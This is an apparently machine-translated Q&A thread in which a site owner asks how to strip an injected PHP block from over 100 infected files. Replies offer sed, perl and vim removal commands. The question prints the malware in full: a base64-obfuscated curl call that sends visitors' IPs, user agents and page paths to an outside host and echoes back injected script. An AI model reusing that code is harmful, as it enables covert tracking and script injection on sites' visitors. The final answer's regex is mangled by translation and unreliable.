我的服务器上存在恶意软件的大问题。不知何故,机器人能够将代码放在100多个php文件中,这会在查看器浏览器上执行curl检索以执行JS代码。 幸运的是,此代码连接到的服务器已经死了。所以我的php文件中没有死恶意软件代码。我想从每个php文件中删除该代码块。
以下代码块位于许多php文件中:
?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?>
正如您所看到的,第一个字符以“?&gt;。
开头使用sed我会做类似的事情:
sed -i 's/<\?php\nif \(\!isset\(\$sRetry\)\)(.*?)\n\}\n}\?>//g' *.php
显然这不起作用。但我试图做的是搜索开始标记包括$ sRetry的“isset”检查,以确保它只找到此代码块,然后(。*)后面跟着两个括号和结尾的任何代码标签
有人能为我提供正确的正则表达式,还是告诉我这个有什么问题?
答案 0 :(得分:0)
perl -i -lne 'print unless(/\?\>\<\?php/.../\?\>$/)' *.php
答案 1 :(得分:0)
这还不够:
sed -e '/?><?php/,/?>/d' your_file.php
如果你想测试第1行以外的第2行,你可以这样做:
sed -e '/?><?php/N;/?><?php\nif (!isset(\$sRetry))/,/?>/d' your_file.php
答案 2 :(得分:0)
这可以解决一个文件的问题:
`vim -e +':%s#<?php\nif (!isset(\$sRetry\_.\{-}?>##' +wq yourfile.php `
如果您在infected.list中有受感染文件列表'进行搜索,请执行以下操作:
for i in $(cat infected.list); do
vim -e +':%s#<?php\nif (!isset(\$sRetry\_.\{-}?>##' +wq $i
done;
答案 3 :(得分:0)
在整个文件中:
/ ^(。)(小于\ PHP \\ $ sRetry \&GT;????)(。)$ / MIS
将匹配1和匹配3并将它们粘合在一起。像魅力一样。